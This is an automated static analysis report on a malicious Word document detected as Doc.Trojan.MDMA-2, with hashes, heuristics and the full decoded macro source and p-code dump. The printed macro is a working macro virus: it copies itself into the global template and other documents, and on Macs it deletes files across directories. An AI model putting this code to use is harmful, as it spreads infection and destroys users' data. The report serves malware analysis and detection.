Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 42e8a31e38cf9aec…

MALICIOUS

Office (OLE)

36.0 KB Created: 2000-03-27 13:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7f3c804a072ea59c6f5062f1d691b562 SHA-1: 35b66e81784a31913cc82d7c9c52fd56f5b84a9b SHA-256: 42e8a31e38cf9aecb12197196657c1fcff631d7a1a90faf2665fc9a8f83f0619
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic macros, specifically an AutoClose macro, which is a strong indicator of malicious intent. The macro attempts to copy itself to global templates and potentially infect other documents. The presence of the ClamAV detection 'Doc.Trojan.MDMA-2' further supports the malicious classification. The script's logic suggests it aims to spread itself and potentially download further stages, though the exact mechanism is truncated.

Heuristics 4

  • ClamAV: Doc.Trojan.MDMA-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.MDMA-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6627 bytes
SHA-256: 7d5a76384ded100809ccda1834b4d7d035fbfab8c8dd5932a75b99a98eb63108
Detection
ClamAV: Doc.Trojan.MDMA-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
    install
    infect
End Sub

Private Sub install()
Dim total
Dim installed
Dim i
    total = WordBasic.CountMacros(0)
    installed = 0
    If total > 0 Then
        For i = 1 To total
            If WordBasic.[MacroName$](i, 0) = "AutoClose" Then
                installed = 1
            End If
        Next
    End If
    If installed = 0 Then
        WordBasic.MsgBox "Deseas perder toda la información?"
        WordBasic.MacroCopy WordBasic.[WindowName$]() + ":AutoClose", "Global:AutoClose"
    Else
        total = WordBasic.CountMacros(1)
        installed = 0
        If total > 0 Then
            For i = 1 To total
                If WordBasic.[MacroName$](i, 1) = "AutoClose" Then
                    installed = 1
                End If
            Next
        End If
        If installed = 0 Then
            WordBasic.FileSaveAs Format:=1
            WordBasic.MacroCopy "Global:AutoClose", WordBasic.[WindowName$]() + ":AutoClose"
        End If
    End If
End Sub

Private Sub infect()
Dim count_
Dim i
     WordBasic.MsgBox "Seguro deseas perder todo!!!"
    If (WordBasic.[GetSystemInfo$](21) = "Windows" Or WordBasic.[GetSystemInfo$](21) = "Windows NT") Then
        Open "c:\shmk." For Append As 1
        If LOF(1) <> 4 And WordBasic.Day(WordBasic.Now()) > 20 Then
            
        End If
        Close 1
    End If

    If Mid(WordBasic.[AppInfo$](21), 1, 3) = "Mac" And WordBasic.Day(WordBasic.Now()) > 4 Then
        WordBasic.ChDir "HD:"
        count_ = WordBasic.CountDirectories()
        For i = 1 To count_
            WordBasic.ChDir "HD" + WordBasic.[GetDirectory$](1)
            WordBasic.Kill WordBasic.[MacID$]("****")
            WordBasic.ChDir "HD:"
        Next
    End If
End Sub

' Processing file: /opt/analyzer/scan_staging/2d1626e8ef314c78b3185f9f5c0864a9.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoClose - 3522 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	ArgsCall install 0x0000 
' Line #3:
' 	ArgsCall infect 0x0000 
' Line #4:
' 	EndSub 
' Line #5:
' Line #6:
' 	FuncDefn (Private Sub install())
' Line #7:
' 	Dim 
' 	VarDefn total
' Line #8:
' 	Dim 
' 	VarDefn installed
' Line #9:
' 	Dim 
' 	VarDefn i
' Line #10:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	St total 
' Line #11:
' 	LitDI2 0x0000 
' 	St installed 
' Line #12:
' 	Ld total 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #13:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld total 
' 	For 
' Line #14:
' 	Ld i 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x0009 "AutoClose"
' 	Eq 
' 	IfBlock 
' Line #15:
' 	LitDI2 0x0001 
' 	St installed 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	StartForVariable 
' 	Next 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	Ld installed 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #20:
' 	LitStr 0x0022 "Deseas perder toda la información?"
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0001 
' Line #21:
' 	Ld WordBasic 
' 	ArgsMemLd [WindowName$] 0x0000 
' 	LitStr 0x000A ":AutoClose"
' 	Add 
' 	LitStr 0x0010 "Global:AutoClose"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #22:
' 	ElseBlock 
' Line #23:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	St total 
' Line #24:
' 	LitDI2 0x0000 
' 	St installed 
' Line #25:
' 	Ld total 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #26:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld total 
' 	For 
' Line #27:
' 	Ld i 
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x0009 "AutoClose"
' 	Eq 
' 	
... (truncated)

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